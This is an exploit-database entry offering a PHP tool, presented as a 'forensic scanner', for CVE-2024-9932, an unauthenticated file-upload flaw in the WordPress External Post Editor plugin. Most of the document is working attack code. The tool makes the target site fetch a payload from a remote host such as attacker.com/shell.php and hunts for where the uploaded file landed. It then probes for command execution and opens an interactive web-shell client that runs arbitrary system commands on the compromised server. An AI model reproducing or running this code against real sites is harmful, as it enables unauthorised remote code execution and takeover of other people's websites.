Share
## https://sploitus.com/exploit?id=PACKETSTORM:216379
=============================================================================================================================================
    | # Title     : WordPress External Post Editor Plugin 1.2.3 Forensic Vulnerability Scanner                                                  |
    | # Author    : indoushka                                                                                                                   |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.1 (64 bits)                                                            |
    | # Vendor    : https://wordpress.org/plugins/                                                                                              |
    =============================================================================================================================================
    
    [+] References : 
    
    [+] Summary    :  This PHP forensic scanner is designed to assess WordPress sites for the External Post Editor plugin vulnerability (CVE-2024-9932), which allows unauthenticated file upload potentially leading to remote code execution (RCE).
    
    [+] The scanner performs multiple analysis phases:
    
    Endpoint Accessibility Check: Validates the plugin’s JSON upload endpoint and reports HTTP responses (200, 401, 403, 404, etc.).
    
    File Upload Test: Attempts to upload a test payload, checks server responses, and analyzes JSON or fallback paths for the uploaded file location.
    
    File Verification: Confirms if the uploaded file is accessible and inspects its content type to avoid false positives.
    
    Code Execution Testing: Sends controlled test requests to detect potential remote code execution indicators.
    
    Summary Reporting: Generates structured details about the vulnerability, affected plugin version, type, and references.
    
    Interactive Forensic Shell (Optional): Provides a CLI interface for advanced testing and manual command execution against the confirmed payload.
    
    [+] The tool is modular, separates HTTP communication, logging, and shell interaction, and ensures careful scientific verification of all results without making assumptions about server OS or file paths.
    
    [+] Usage :
    
    # Vulnerability Test Only : php scanner.php --target https://site.com --payload http://attacker.com/test.txt --name test.txt --test-only
    
    # Full Test with Shell    : php scanner.php --target https://site.com --payload http://attacker.com/shell.php --name shell.php
    
    [+] POC :
    
    <?php
    
    class WordPressVulnerabilityScanner {
    
        private $target;
        private $http_client;
        private $logger;
        
        public function __construct($target) {
            $this->target = rtrim($target, '/');
            $this->http_client = new HTTPClient();
            $this->logger = new Logger();
        }
        
        public function testEndpointAccessibility() {
            $this->logger->info("Testing endpoint accessibility");
            
            $endpoint = $this->target . '/wp-json/external-post-editor/v2/image-upload';
            $response = $this->http_client->head($endpoint);
            
            if ($response['code'] == 404) {
                $this->logger->error("Endpoint not found");
                return false;
            }
            
            if ($response['code'] == 403 || $response['code'] == 401) {
                $this->logger->warning("Endpoint requires authentication");
                return false;
            }
            
            $this->logger->success("Endpoint accessible (HTTP {$response['code']})");
            return true;
        }
        
        public function testFileUploadVulnerability($payload_url, $file_name) {
            $this->logger->info("Testing file upload vulnerability");
            
            $endpoint = $this->target . '/wp-json/external-post-editor/v2/image-upload';
            
            $headers = [
                'Content-Type' => 'application/json'
            ];
            
            $data = [
                'url' => $payload_url,
                'imageName' => $file_name
            ];
            
            $response = $this->http_client->post($endpoint, $data, $headers);
    
            if ($response['code'] !== 200) {
                $this->logger->error("Upload failed with HTTP {$response['code']}");
                return false;
            }
    
            $json_data = @json_decode($response['body'], true);
            
            if (!$json_data) {
                $this->logger->warning("Invalid JSON response");
                return $this->analyzeUploadFallback($file_name);
            }
    
            if (isset($json_data['success']) && $json_data['success'] === false) {
                $this->logger->error("API indicated failure: " . ($json_data['message'] ?? 'Unknown'));
                return false;
            }
    
            $uploaded_url = null;
            if (isset($json_data['data']['url'])) {
                $uploaded_url = $json_data['data']['url'];
            } elseif (isset($json_data['url'])) {
                $uploaded_url = $json_data['url'];
            }
            
            if ($uploaded_url) {
                $this->logger->success("File uploaded to: " . $uploaded_url);
                return ['uploaded_url' => $uploaded_url, 'method' => 'api_response'];
            }
            
            return $this->analyzeUploadFallback($file_name);
        }
        
        private function analyzeUploadFallback($file_name) {
            $this->logger->info("Attempting to locate uploaded file");
            
    
            $test_paths = $this->generateTestPaths($file_name);
            
            foreach ($test_paths as $path) {
                $test_url = $this->target . $path;
                $response = $this->http_client->get($test_url, ['timeout' => 3]);
                
                if ($response['code'] == 200) {
    
                    $content_type = strtolower($response['headers']['content-type'] ?? '');
                    
                    if (strpos($content_type, 'text/html') !== false) {
    
                        continue;
                    }
                    
                    $this->logger->success("Found file at: " . $test_url);
                    return ['uploaded_url' => $test_url, 'method' => 'bruteforce'];
                }
            }
            
            $this->logger->error("Could not locate uploaded file");
            return false;
        }
        
        private function generateTestPaths($file_name) {
            $paths = [];
    
            $paths[] = "/wp-content/uploads/{$file_name}";
            $paths[] = "/uploads/{$file_name}";
    
            $current_year = date('Y');
            $current_month = date('m');
            $paths[] = "/wp-content/uploads/{$current_year}/{$current_month}/{$file_name}";
    
            $paths[] = "/wp-content/uploads/" . ($current_year - 1) . "/{$current_month}/{$file_name}";
            
            return $paths;
        }
        
        public function verifyFileAccess($url) {
            $this->logger->info("Verifying file accessibility");
            
            $response = $this->http_client->head($url);
            
            if ($response['code'] == 200) {
                $this->logger->success("File is accessible (HTTP 200)");
    
                $content_type = strtolower($response['headers']['content-type'] ?? '');
                
                if (strpos($content_type, 'text/html') !== false) {
                    $this->logger->warning("File appears to be HTML (may be error page)");
                }
                
                return true;
            }
            
            $this->logger->error("File not accessible (HTTP {$response['code']})");
            return false;
        }
        
        public function testCodeExecution($payload_url, $test_payload) {
            $this->logger->info("Testing code execution capability");
    
            $tests = [
                [
                    'param' => 'test',
                    'expected' => 'OK',
                    'description' => 'Basic parameter test'
                ],
                [
                    'param' => 'cmd',
                    'expected' => null, 
                    'description' => 'Command parameter test'
                ]
            ];
            
            foreach ($tests as $test) {
                $test_url = $payload_url . '?' . $test['param'] . '=echo%20' . bin2hex(random_bytes(4));
                $response = $this->http_client->get($test_url);
                
                $this->logger->debug("Test: {$test['description']} - HTTP {$response['code']}");
                
                if ($response['code'] == 200) {
    
                    $analysis = $this->analyzeResponse($response['body'], $test['param']);
                    
                    if ($analysis['likely_execution']) {
                        $this->logger->success("Potential code execution detected via {$test['param']} parameter");
                        return [
                            'execution_method' => $test['param'],
                            'analysis' => $analysis
                        ];
                    }
                }
            }
            
            $this->logger->error("No code execution capability detected");
            return false;
        }
        
        private function analyzeResponse($body, $test_param) {
            $analysis = [
                'likely_execution' => false,
                'indicators' => [],
                'content_type_hints' => []
            ];
    
            $execution_indicators = [
                '<?php' => 'PHP opening tag',
                'system(' => 'System function call',
                'exec(' => 'Exec function',
                'shell_exec(' => 'Shell exec',
                'passthru(' => 'Passthru function',
                'popen(' => 'Popen function',
                'proc_open(' => 'Proc open function',
                '`' => 'Backtick execution'
            ];
    
            $error_indicators = [
                'Parse error' => 'PHP parse error',
                'Warning:' => 'PHP warning',
                'Notice:' => 'PHP notice',
                'Fatal error' => 'PHP fatal error'
            ];
            
            $body_lower = strtolower($body);
    
            foreach ($execution_indicators as $indicator => $description) {
                if (stripos($body, $indicator) !== false) {
                    $analysis['indicators'][] = $description;
                    $analysis['likely_execution'] = true;
                }
            }
    
            foreach ($error_indicators as $indicator => $description) {
                if (stripos($body, $indicator) !== false) {
                    $analysis['content_type_hints'][] = $description;
                }
            }
    
            $content_length = strlen($body);
            if ($content_length > 1000 && $content_length < 10000) {
                $analysis['indicators'][] = "Moderate response length ({$content_length} bytes)";
            }
            
            return $analysis;
        }
        
        public function getExploitSummary() {
            return [
                'vulnerability' => 'CVE-2024-9932',
                'type' => 'Unauthenticated File Upload β†’ RCE',
                'component' => 'External Post Editor WordPress Plugin',
                'status' => '0-day (as of analysis date)',
                'references' => [
                    'https://wordpress.org/plugins/external-post-editor/',
                    'https://wpscan.com/vulnerability/...'
                ]
            ];
        }
    }
    
    class HTTPClient {
        private $default_options = [
            'timeout' => 10,
            'connect_timeout' => 5,
            'user_agent' => 'Security-Scanner/1.0',
            'follow_redirects' => false,
            'verify_ssl' => false
        ];
        
        public function request($method, $url, $options = []) {
            $options = array_merge($this->default_options, $options);
            
            $ch = curl_init($url);
            
            $curl_options = [
                CURLOPT_RETURNTRANSFER => true,
                CURLOPT_CUSTOMREQUEST => strtoupper($method),
                CURLOPT_TIMEOUT => $options['timeout'],
                CURLOPT_CONNECTTIMEOUT => $options['connect_timeout'],
                CURLOPT_USERAGENT => $options['user_agent'],
                CURLOPT_FOLLOWLOCATION => $options['follow_redirects'],
                CURLOPT_SSL_VERIFYPEER => $options['verify_ssl'],
                CURLOPT_SSL_VERIFYHOST => $options['verify_ssl'] ? 2 : 0,
                CURLOPT_HEADER => true
            ];
            
            if (isset($options['data'])) {
                if (isset($options['headers']['Content-Type']) && 
                    strpos($options['headers']['Content-Type'], 'application/json') !== false) {
                    $curl_options[CURLOPT_POSTFIELDS] = json_encode($options['data']);
                } else {
                    $curl_options[CURLOPT_POSTFIELDS] = http_build_query($options['data']);
                }
            }
            
            if (!empty($options['headers'])) {
                $header_array = [];
                foreach ($options['headers'] as $key => $value) {
                    $header_array[] = "{$key}: {$value}";
                }
                $curl_options[CURLOPT_HTTPHEADER] = $header_array;
            }
            
            curl_setopt_array($ch, $curl_options);
            
            $response = curl_exec($ch);
            $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
            $header_size = curl_getinfo($ch, CURLINFO_HEADER_SIZE);
            $error = curl_error($ch);
            
            curl_close($ch);
            
            $headers = [];
            $body = '';
            
            if ($response !== false) {
                $header_text = substr($response, 0, $header_size);
                $body = substr($response, $header_size);
                
                $headers = $this->parseHeaders($header_text);
            }
            
            return [
                'success' => $response !== false && $http_code > 0,
                'code' => $http_code,
                'body' => $body,
                'headers' => $headers,
                'error' => $error,
                'url' => $url
            ];
        }
        
        public function get($url, $options = []) {
            return $this->request('GET', $url, $options);
        }
        
        public function post($url, $data = [], $headers = [], $options = []) {
            $options['data'] = $data;
            $options['headers'] = array_merge($headers, ['Content-Type' => 'application/json']);
            return $this->request('POST', $url, $options);
        }
        
        public function head($url, $options = []) {
            $options['method'] = 'HEAD';
            return $this->request('HEAD', $url, $options);
        }
        
        private function parseHeaders($header_text) {
            $headers = [];
            $lines = explode("\r\n", $header_text);
            
            foreach ($lines as $line) {
                if (strpos($line, ':') !== false) {
                    list($key, $value) = explode(':', $line, 2);
                    $headers[strtolower(trim($key))] = trim($value);
                }
            }
            
            return $headers;
        }
    }
    
    class Logger {
        private $log_level = 'INFO'; // DEBUG, INFO, WARNING, ERROR
        private $colors = true;
        
        public function setLevel($level) {
            $this->log_level = strtoupper($level);
        }
        
        public function debug($message) {
            if ($this->shouldLog('DEBUG')) {
                $this->output("[D] " . $message, 'gray');
            }
        }
        
        public function info($message) {
            if ($this->shouldLog('INFO')) {
                $this->output("[*] " . $message, 'white');
            }
        }
        
        public function warning($message) {
            if ($this->shouldLog('WARNING')) {
                $this->output("[!] " . $message, 'yellow');
            }
        }
        
        public function error($message) {
            if ($this->shouldLog('ERROR')) {
                $this->output("[-] " . $message, 'red');
            }
        }
        
        public function success($message) {
            if ($this->shouldLog('INFO')) {
                $this->output("[+] " . $message, 'green');
            }
        }
        
        private function shouldLog($level) {
            $levels = ['DEBUG' => 1, 'INFO' => 2, 'WARNING' => 3, 'ERROR' => 4];
            return $levels[$level] >= ($levels[$this->log_level] ?? 2);
        }
        
        private function output($message, $color) {
            if ($this->colors && PHP_SAPI === 'cli') {
                $colors = [
                    'red' => "\033[31m",
                    'green' => "\033[32m",
                    'yellow' => "\033[33m",
                    'blue' => "\033[34m",
                    'gray' => "\033[90m",
                    'white' => "\033[97m",
                    'reset' => "\033[0m"
                ];
                
                echo ($colors[$color] ?? '') . $message . $colors['reset'] . "\n";
            } else {
                echo $message . "\n";
            }
        }
    }
    
    class InteractiveShell {
        private $http_client;
        private $payload_url;
        private $logger;
        private $session_id;
        
        public function __construct($http_client, $payload_url, $logger) {
            $this->http_client = $http_client;
            $this->payload_url = $payload_url;
            $this->logger = $logger;
            $this->session_id = 'SESS_' . bin2hex(random_bytes(4));
        }
        
        public function start() {
            $this->logger->info("Starting forensic shell");
            $this->logger->info("Session: " . $this->session_id);
            $this->logger->info("Boundary: " . $this->payload_url);
            
            echo "\n=== Forensic Shell ===\n";
            echo "Commands: command, exit, help, info, test\n\n";
            
            while (true) {
                echo "fshell> ";
                $input = trim(fgets(STDIN));
                
                if (empty($input)) continue;
                
                $parts = explode(' ', $input, 2);
                $command = strtolower($parts[0]);
                $argument = $parts[1] ?? '';
                
                switch ($command) {
                    case 'exit':
                        $this->logger->info("Exiting shell");
                        return;
                        
                    case 'help':
                        $this->showHelp();
                        break;
                        
                    case 'info':
                        $this->showInfo();
                        break;
                        
                    case 'test':
                        $this->testConnection();
                        break;
                        
                    case 'command':
                        if (empty($argument)) {
                            $this->logger->error("No command provided");
                            break;
                        }
                        $this->executeCommand($argument);
                        break;
                        
                    default:
                        $this->logger->error("Unknown command: {$command}");
                        echo "Type 'help' for available commands\n";
                }
            }
        }
        
        private function executeCommand($cmd) {
            $this->logger->debug("Executing: {$cmd}");
    
            $test_params = ['cmd', 'c', 'exec', 'command', 'run'];
            
            foreach ($test_params as $param) {
                $test_url = $this->payload_url . '?' . $param . '=' . urlencode($cmd);
                $response = $this->http_client->get($test_url);
                
                if ($response['code'] == 200) {
                    $this->displayResult($response['body'], $param);
                    return;
                }
            }
            
            $this->logger->error("No successful parameter found for command execution");
        }
        
        private function displayResult($body, $param_used) {
            echo "\n--- Result (via {$param_used}) ---\n";
            
            $clean_body = $this->cleanResponse($body);
            
            if (empty(trim($clean_body))) {
                echo "(Empty response)\n";
            } else {
    
                if (strlen($clean_body) > 5000) {
                    echo substr($clean_body, 0, 5000) . "\n... [truncated, total: " . strlen($clean_body) . " bytes]\n";
                } else {
                    echo $clean_body . "\n";
                }
            }
            
            echo "--- End ---\n\n";
        }
        
        private function cleanResponse($body) {
    
            $clean = strip_tags($body);
    
            $clean = preg_replace('/\s+/', ' ', $clean);
            
            return trim($clean);
        }
        
        private function showHelp() {
            $help = <<<HELP
    Available commands:
      command <cmd>  - Execute system command
      test           - Test connection to payload
      info           - Show session information
      help           - Show this help
      exit           - Exit the shell
    
    Examples:
      command whoami
      command id
      command pwd
      command ls -la
    
    HELP;
            echo $help;
        }
        
        private function showInfo() {
            echo "\nSession Information:\n";
            echo "  Session ID: " . $this->session_id . "\n";
            echo "  Payload URL: " . $this->payload_url . "\n";
            echo "  Timestamp: " . date('Y-m-d H:i:s') . "\n\n";
        }
        
        private function testConnection() {
            $response = $this->http_client->head($this->payload_url);
            
            if ($response['code'] == 200) {
                $this->logger->success("Payload accessible (HTTP 200)");
    
                $test_response = $this->http_client->get($this->payload_url . '?test=ping');
                
                $content_type = $test_response['headers']['content-type'] ?? 'unknown';
                echo "  Content-Type: " . $content_type . "\n";
                echo "  Body length: " . strlen($test_response['body']) . " bytes\n";
            } else {
                $this->logger->error("Payload not accessible (HTTP {$response['code']})");
            }
        }
    }
    
    if (PHP_SAPI !== 'cli') {
        die("This tool must be run from command line\n");
    }
    
    $options = getopt('', [
        'target:', 
        'payload:', 
        'name:',
        'test-only',
        'no-shell',
        'verbose',
        'help'
    ]);
    
    if (isset($options['help'])) {
        showHelp();
        exit(0);
    }
    
    function showHelp() {
        echo <<<HELP
    WordPress CVE-2024-9932 Forensic Scanner By indoushka
    
    Usage: php scanner.php --target URL --payload URL --name FILENAME
    
    Required:
      --target       WordPress site URL
      --payload      Remote payload URL to test upload
      --name         Filename for upload test
    
    Options:
      --test-only    Only test vulnerability, don't start shell
      --no-shell     Don't start interactive shell
      --verbose      Enable verbose output
      --help         Show this help
    
    Example:
      php scanner.php --target https://vuln.site \\
                      --payload http://test.com/probe.php \\
                      --name test.php
    
    HELP;
    }
    
    $required = ['target', 'payload', 'name'];
    foreach ($required as $req) {
        if (!isset($options[$req])) {
            echo "Error: Missing required argument --{$req}\n\n";
            showHelp();
            exit(1);
        }
    }
    
    // Main execution
    try {
        $logger = new Logger();
        
        if (isset($options['verbose'])) {
            $logger->setLevel('DEBUG');
        }
        
        $scanner = new WordPressVulnerabilityScanner($options['target']);
        
        echo "\n";
        $logger->info("Starting forensic analysis");
        $logger->info("Target: " . $options['target']);
        
        // Phase 1: Test endpoint accessibility
        if (!$scanner->testEndpointAccessibility()) {
            $logger->error("Initial test failed");
            exit(1);
        }
    
        $upload_result = $scanner->testFileUploadVulnerability(
            $options['payload'],
            $options['name']
        );
        
        if (!$upload_result) {
            $logger->error("File upload test failed");
            exit(1);
        }
        
        $logger->success("File upload vulnerability confirmed");
    
        $uploaded_url = $upload_result['uploaded_url'] ?? '';
        if (!$scanner->verifyFileAccess($uploaded_url)) {
            $logger->warning("Uploaded file may not be accessible");
        }
    
        $execution_test = $scanner->testCodeExecution($uploaded_url, $options['payload']);
        
        if (!$execution_test && !isset($options['test-only'])) {
            $logger->warning("No code execution detected. Starting forensic shell anyway.");
        }
    
        $summary = $scanner->getExploitSummary();
        $logger->info("Vulnerability: " . $summary['vulnerability']);
        $logger->info("Type: " . $summary['type']);
        
        if (!isset($options['test-only']) && !isset($options['no-shell'])) {
            if ($uploaded_url) {
                $http_client = new HTTPClient();
                $shell = new InteractiveShell($http_client, $uploaded_url, $logger);
                $shell->start();
            } else {
                $logger->error("Cannot start shell: No payload URL available");
            }
        }
        
        $logger->info("Analysis complete");
        
    } catch (Exception $e) {
        echo "Fatal error: " . $e->getMessage() . "\n";
        exit(1);
    }
    ?>
    Greetings to :=====================================================================================
    jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
    ===================================================================================================